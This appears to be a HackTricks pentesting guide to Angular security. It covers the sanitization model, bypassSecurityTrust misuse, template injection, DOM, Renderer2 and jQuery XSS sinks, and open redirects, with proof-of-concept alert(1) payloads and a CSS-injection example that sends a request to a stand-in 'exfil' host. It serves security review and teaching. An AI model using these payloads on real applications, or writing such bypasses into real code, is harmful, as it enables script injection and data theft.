// HackTricks · Network Services

Angular

Angular

The Checklist

Checklist from here.[5]

  • Angular is considered a client-side framework and is not expected to provide server-side protection
  • Sourcemap for scripts is disabled in the project configuration
  • Untrusted user input is always interpolated or sanitized before being used in templates
  • The user has no control over server-side or client-side templates
  • Untrusted user input is sanitized using an appropriate security context before being trusted by the application
    • BypassSecurity* methods are not used with untrusted input
  • Untrusted user input is not passed to Angular classes such as ElementRef , Renderer2 and Document, or other JQuery/DOM sinks

What is Angular

Angular is a powerful, open-source front-end framework maintained by Google. It uses TypeScript to improve code readability and debugging. Angular’s template sanitization reduces common client-side vulnerabilities such as XSS, but it does not prevent application-logic flaws such as open redirects. Angular can also render on the server side, so both client- and server-side trust boundaries require review.[1]

Framework architecture

In order to better understand the Angular basics, let’s go through its essential concepts.

A common Angular project has the following structure:[6]

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
   ├── app.component.ts #defines the logic for the application's root component
   ├── app.component.html #defines the HTML template associated with the root component
   ├── app.component.css #defines the base CSS stylesheet for the root component
   ├── app.component.spec.ts #defines a unit test for the root component
   └── app-routing.module.ts #provides routing capability for the application
   ├── lib
   └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

According to the documentation, every Angular application has at least one component, the root component (AppComponent) that connects a component hierarchy with the DOM. Each component defines a class that contains application data and logic, and is associated with an HTML template that defines a view to be displayed in a target environment. The @Component() decorator identifies the class immediately below it as a component, and provides the template and related component-specific metadata. The AppComponent is defined in the app.component.ts file.

Angular NgModules declare a compilation context for a set of components that is dedicated to an application domain, a workflow, or a closely related set of capabilities. Every Angular application has a root module, conventionally named AppModule, which provides the bootstrap mechanism that launches the application. An application typically contains many functional modules. The AppModule is defined in the app.module.ts file.

The Angular Router NgModule provides a service for defining navigation paths among application states and view hierarchies. RouterModule is configured in app-routing.module.ts.

For data or logic that isn’t associated with a specific view, and that you want to share across components, you create a service class. A service class definition is immediately preceded by the @Injectable() decorator. The decorator provides the metadata that allows other providers to be injected as dependencies into your class. Dependency injection (DI) lets you keep your component classes lean and efficient. They don’t fetch data from the server, validate user input, or log directly to the console; they delegate such tasks to services.[2][7]

Sourcemap configuration

Angular compiles TypeScript into JavaScript according to tsconfig.json and builds the project according to angular.json. The sourceMap option enables or disables source maps and provides separate controls for scripts, styles, vendor code, and hidden map references.[2][8]

"sourceMap": {
	"scripts": true,
	"styles": true,
	"vendor": false,
	"hidden": false
}

Source maps support debugging by mapping generated files back to their original sources. Public production maps can disclose otherwise hidden source and make analysis easier. If maps are unavailable, a reviewer can still inspect the compiled JavaScript for insecure patterns.[2]

The compiled Angular JavaScript is available in browser developer tools under Sources (or Debugger), commonly as [id].main.js. It may end with //# sourceMappingURL=[id].main.js.map; setting hidden to true omits that pointer but can still generate a map for private error-reporting workflows. Disabling script source maps prevents retrieval of the map, not the compiled JavaScript. Source maps can also be enabled during a build with ng build --source-map.[2]

Data binding

Binding refers to the process of communication between a component and its corresponding view. It is utilized for transferring data to and from the Angular framework. Data can be passed through various means, such as through events, interpolation, properties, or through the two-way binding mechanism. Moreover, data can also be shared between related components (parent-child relation) and between two unrelated components using the Service feature.[2][22]

We can classify binding by data flow:[2]

  • Data source to view target (includes interpolation, properties, attributes, classes and styles); can be applied by using [] or {{}} in template;
  • View target to data source (includes events); can be applied by using () in template;
  • Two-Way; can be applied by using [()] in template.

Binding can be called on properties, events, and attributes, as well as on any public member of a source directive:[9]

TYPETARGETEXAMPLES
PropertyElement property, Component property, Directive property<img [alt]=“hero.name” [src]=“heroImageUrl”>
EventElement event, Component event, Directive event<button type=“button” (click)=“onSave()“>Save
Two-wayEvent and property<input [(ngModel)]=“name”>
AttributeAttribute (the exception)<button type=“button” [attr.aria-label]=“help”>help
Classclass property<div [class.special]=“isSpecial”>Special
Stylestyle property<button type=“button” [style.color]=“isSpecial ? ‘red’ : ‘green’”>

Angular security model

Angular’s design includes encoding or sanitization of all data by default, making it increasingly difficult to discover and exploit XSS vulnerabilities in Angular projects. There are two distinct scenarios for data handling:[2]

  1. Interpolation or {{user_input}}- performs context-sensitive encoding and interprets user input as text;

    //app.component.ts
    test = "<script>alert(1)</script><h1>test</h1>";
    
    //app.component.html
    {{test}}

    Result: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;

  2. Binding to properties, attributes, classes and styles or [attribute]="user_input" - performs sanitization based on the provided security context.

    //app.component.ts
    test = "<script>alert(1)</script><h1>test</h1>";
    
    //app.component.html
    <div [innerHtml]="test"></div>

    Result: <div><h1>test</h1></div>

There are 6 types of SecurityContext :[2][10][11]

  • None;
  • HTML is used, when interpreting value as HTML;
  • STYLE is used, when binding CSS into the style property;
  • URL is used for URL properties, such as <a href>;
  • SCRIPT is used for JavaScript code;
  • RESOURCE_URL as a URL that is loaded and executed as code, for example, in <script src>.

Vulnerabilities

Bypass Security Trust methods

Angular provides methods that bypass its default sanitization and mark a value as trusted in a specific context, as shown in the following five examples:[3]

  1. bypassSecurityTrustUrl marks the given value as a trusted URL:

    //app.component.ts
    this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
    
    //app.component.html
    <a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
    
    //result
    <a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  2. bypassSecurityTrustResourceUrl is used to indicate the given value is a safe resource URL:

    //app.component.ts
    this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
    
    //app.component.html
    <iframe [src]="trustedResourceUrl"></iframe>
    
    //result
    <iframe _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png"></iframe>
  3. bypassSecurityTrustHtml is used to indicate the given value is safe HTML. Note that inserting script elements into the DOM tree in this way will not cause them to execute the enclosed JavaScript code, because of how these elements are added to the DOM tree.

    //app.component.ts
    this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
    
    //app.component.html
    <p style="border:solid" [innerHtml]="trustedHtml"></p>
    
    //result
    <h1>html tag</h1>
    <svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  4. bypassSecurityTrustScript marks the given value as trusted JavaScript. It does not make a <script> element inserted through innerHTML execute; browser DOM insertion semantics still apply.

    //app.component.ts
    this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
    
    //app.component.html
    <script [innerHtml]="trustedScript"></script>
    
    //result
    -
  5. bypassSecurityTrustStyle is used to indicate the given value is safe CSS. The following example illustrates CSS injection:

    //app.component.ts
    this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
    
    //app.component.html
    <input type="password" name="pwd" value="01234" [style]="trustedStyle">
    
    //result
    Request URL: GET example.com/exfil/a

Angular provides a sanitize method to sanitize data before displaying it in views. This method employs the security context provided and cleanses the input accordingly. It is, however, crucial to use the correct security context for the specific data and context. For instance, applying a sanitizer with SecurityContext.URL on HTML content does not provide protection against dangerous HTML values. In such scenarios, misuse of security context could lead to XSS vulnerabilities.[3][10]

HTML injection

This vulnerability occurs when user input is bound to innerHTML, outerHTML, or an iframe’s srcdoc. Angular interprets the value as HTML and sanitizes it with SecurityContext.HTML. Benign HTML injection can therefore remain visible while known executable constructs are removed; XSS becomes possible when sanitization is bypassed, an unsafe sink is used, or a sanitizer discrepancy is found.[3]

Example of using innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html'
})
export class AppComponent{
	//define a variable with user input
  test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

The result is <div><h1>test</h1></div>.

Template injection

Client-Side Rendering (CSR)

Angular leverages templates to construct pages dynamically. The approach entails enclosing template expressions for Angular to evaluate within double curly brackets ({{}}). In this way, the framework offers additional functionality. For instance, a template such as {{1+1}} would display as 2.

Typically, Angular escapes user input that could be interpreted as markup or template syntax (for example, characters such as `< > ’ ” “). Exploitation may therefore require bypassing these restrictions, such as by using functions that construct JavaScript strings without blacklisted characters. The exact payload depends on the available Angular context, properties, and variables. A template-injection payload may look like this:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
	selector: 'app-root',
	template: '<h1>title</h1>' + _userInput
})

As shown above, constructor refers to the object’s constructor property and may enable arbitrary code execution when attacker input is concatenated into a template that the application compiles at runtime. Normal interpolation treats the same input as data and does not compile it as a new template.[3]

Server-Side Rendering (SSR)

Unlike CSR, which occurs in the browser’s DOM, Angular Universal is responsible for SSR of template files. These files are then delivered to the user. Despite this distinction, Angular Universal applies the same sanitization mechanisms used in CSR to enhance SSR security. A template injection vulnerability in SSR can be spotted in the same way as in CSR, because the used template language is the same.

Of course, there also is a possibility of introducing new template injection vulnerabilities when employing third-party template engines such as Pug and Handlebars.[3][13]

XSS

DOM interfaces

As previously stated, we can directly access the DOM using the Document interface. If user input is not validated beforehand, it can lead to cross-site scripting (XSS) vulnerabilities.[23]

We used the document.write() and document.createElement() methods in the examples below:[4][12]

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
  selector: 'app-root',
  template: ''
})
export class AppComponent{
  constructor () {
    document.open();
    document.write("<script>alert(document.domain)</script>");
    document.close();
  }
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
  selector: 'app-root',
  template: ''
})
export class AppComponent{
  constructor () {
    var d = document.createElement('script');
    var y = document.createTextNode("alert(1)");
    d.appendChild(y);
    document.body.appendChild(d);
  }
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
  selector: 'app-root',
  template: ''
})
export class AppComponent{
  constructor () {
	var a = document.createElement('img');
	a.src='https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/1';
	a.setAttribute('onerror','alert(1)');
	document.body.appendChild(a);
  }
}

Angular classes

There are some classes that can be used to work with DOM elements in Angular: ElementRef, Renderer2, Location and Document. A detailed description of the last two classes is given in the Open redirects section. The main difference between the first two is that the Renderer2 API provides a layer of abstraction between the DOM element and the component code, whereas ElementRef just holds a reference to the element. Therefore, according to Angular documentation, ElementRef API should only be used as a last resort when direct access to the DOM is needed.[4][14][15][16]

  • ElementRef contains the property nativeElement, which can be used to manipulate the DOM elements. However, improper usage of nativeElement can result in an XSS injection vulnerability, as shown below:[4]

    //app.component.ts
    import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
    
    @Component({
      selector: 'app-root',
      templateUrl: './app.component.html',
      styleUrls: ['./app.component.css']
    })
    export class AppComponent {
    ...
      constructor(private elementRef: ElementRef) {
        const s = document.createElement('script');
        s.type = 'text/javascript';
        s.textContent = 'alert("Hello World")';
        this.elementRef.nativeElement.appendChild(s);
     }
    }
  • Despite the fact that Renderer2 provides API that can safely be used even when direct access to native elements is not supported, it still has some security flaws. With Renderer2, it is possible to set attributes on an HTML element using the setAttribute() method, which has no XSS prevention mechanisms.[4]

    //app.component.ts
    import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
    
    @Component({
      selector: 'app-root',
      templateUrl: './app.component.html',
      styleUrls: ['./app.component.css']
    })
    export class AppComponent {
      
      public constructor (
        private renderer2: Renderer2
      ){}
      @ViewChild("img") img!: ElementRef;
    
      addAttribute(){
        this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
        this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
     }
    }
    
    //app.component.html
    <img #img>
    <button (click)="setAttribute()">Click me!</button>
  • To set the property of a DOM element, you can use Renderer2.setProperty() method and trigger an XSS attack:[4]

    //app.component.ts
    import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
    
    @Component({
      selector: 'app-root',
      templateUrl: './app.component.html',
      styleUrls: ['./app.component.css']
    })
    export class AppComponent {
      
      public constructor (
        private renderer2: Renderer2
      ){}
      @ViewChild("img") img!: ElementRef;
    
      setProperty(){
        this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
     }
    }
    
    //app.component.html
    <a #a></a>
    <button (click)="setProperty()">Click me!</button>

During our research, we also examined the behavior of other Renderer2 methods, such as setStyle(), createComment(), and setValue(), in relation to XSS and CSS injections. However, we were unable to find any valid attack vectors for these methods due to their functional limitations.[4]

jQuery

jQuery is a JavaScript library that may be used alongside Angular to manipulate DOM objects. Methods that accept HTML strings can introduce XSS when passed untrusted input, so the following patterns remain relevant in Angular projects that also depend on jQuery.[4][18]

  • The html() method gets the HTML contents of the first element in the set of matched elements or sets the HTML contents of every matched element. However, by design, any jQuery constructor or method that accepts an HTML string can potentially execute code. This can occur by injection of <script> tags or use of HTML attributes that execute code as shown in the example.[4]

    //app.component.ts
    import { Component, OnInit } from '@angular/core';
    import * as $ from 'jquery';
    
    @Component({
      selector: 'app-root',
      templateUrl: './app.component.html',
      styleUrls: ['./app.component.css']
    })
    export class AppComponent implements OnInit 
    {
      ngOnInit() 
      {
        $("button").on("click", function()
        {
          $("p").html("<script>alert(1)</script>");
        });
      }
    }
    
    //app.component.html
    <button>Click me</button>
    <p>some text here</p>
  • The jQuery.parseHTML() method uses native methods to convert the string to a set of DOM nodes, which can then be inserted into the document.

    jQuery.parseHTML(data [, context ] [, keepScripts ])

    As mentioned before, most jQuery APIs that accept HTML strings will run scripts that are included in the HTML. The jQuery.parseHTML() method does not run scripts in the parsed HTML unless keepScripts is explicitly true. However, it is still possible in most environments to execute scripts indirectly; for example, via the <img onerror> attribute.[4][17]

    //app.component.ts
    import { Component, OnInit } from '@angular/core';
    import * as $ from 'jquery';
    
    @Component({
      selector: 'app-root',
      templateUrl: './app.component.html',
      styleUrls: ['./app.component.css']
    })
    export class AppComponent implements OnInit 
    {
      ngOnInit() 
      {
        $("button").on("click", function()
        {
          var $palias = $("#palias"),
            str = "<img src=1 onerror=alert(1)>",
            html = $.parseHTML(str),
            nodeNames = [];
          $palias.append(html);
        });
      }
    }
    
    //app.component.html
    <button>Click me</button>
    <p id="palias">some text</p>

Open redirects

DOM interfaces

According to the W3C documentation, the window.location and document.location objects are treated as aliases in modern browsers. That is why they have similar implementation of some methods and properties, which might cause an open redirect and DOM XSS with javascript:// schema attacks as mentioned below.[4]

  • window.location.href(and document.location.href)

    The canonical way to get the current DOM location object is using window.location. It can also be used to redirect the browser to a new page. As a result, having control over this object allows us to exploit an open redirect vulnerability.

    //app.component.ts
    ...
    export class AppComponent {
        goToUrl(): void {
          window.location.href = "https://google.com/about"
        }
    }
    
    //app.component.html
    <button type="button" (click)="goToUrl()">Click me!</button>

    The exploitation process is identical for the following scenarios.

  • window.location.assign()(and document.location.assign())

    This method causes the window to load and display the document at the URL specified. If we have control over this method, it might be a sink for an open redirect attack.

    //app.component.ts
    ...
    export class AppComponent {
        goToUrl(): void {
          window.location.assign("https://google.com/about")
        }
    }
  • window.location.replace()(and document.location.replace())

    This method replaces the current resource with the one at the provided URL.

    This differs from the assign() method is that after using window.location.replace(), the current page will not be saved in session History. However, it is also possible to exploit an open redirect vulnerability when we have control over this method.

    //app.component.ts
    ...
    export class AppComponent {
        goToUrl(): void {
          window.location.replace("http://google.com/about")
        }
    }
  • window.open()

    The window.open() method takes a URL and loads the resource it identifies into a new or existing tab or window. Having control over this method might also be an opportunity to trigger an XSS or open redirect vulnerability.

    //app.component.ts
    ...
    export class AppComponent {
        goToUrl(): void {
          window.open("https://google.com/about", "_blank")
        }
    }

Angular classes

  • According to Angular documentation, Angular Document is the same as the DOM document, which means it is possible to use common vectors for the DOM document to exploit client-side vulnerabilities in the Angular. Document.location properties and methods might be sinks for successful open redirect attacks as shown in the example:[4][19]

    //app.component.ts
    import { Component, Inject } from '@angular/core';
    import { DOCUMENT } from '@angular/common';
    
    @Component({
      selector: 'app-root',
      templateUrl: './app.component.html',
      styleUrls: ['./app.component.css']
    })
    export class AppComponent {
      constructor(@Inject(DOCUMENT) private document: Document) { }
    
      goToUrl(): void {
          this.document.location.href = 'https://google.com/about';
      }
    }
    
    //app.component.html
    <button type="button" (click)="goToUrl()">Click me!</button>
  • During the research phase, we also reviewed Angular Location class for open redirect vulnerabilities, but no valid vectors were found. Location is an Angular service that applications can use to interact with a browser’s current URL. This service has several methods to manipulate the given URL - go() , replaceState(), and prepareExternalUrl(). However, we cannot use them for redirection to the external domain. For example:[4][20]

    //app.component.ts
    import { Component, Inject } from '@angular/core';
    import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
    
    @Component({
      selector: 'app-root',
      templateUrl: './app.component.html',
      styleUrls: ['./app.component.css'],
      providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
    })
    export class AppComponent {
      location: Location;
      constructor(location: Location) {
        this.location = location;
      }
      goToUrl(): void {
       console.log(this.location.go("http://google.com/about"));
      }
    }

    Result: http://localhost:4200/http://google.com/about

  • The Angular Router class is primarily used for navigating within the same domain and does not introduce any additional vulnerabilities to the application:[4][21]

    //app-routing.module.ts
    const routes: Routes = [
    { path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

    Result: http://localhost:4200/https:

    The following methods also navigate within the domain’s scope:

    const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
    this.router.navigate(['PATH'])
    this.router.navigateByUrl('URL')

References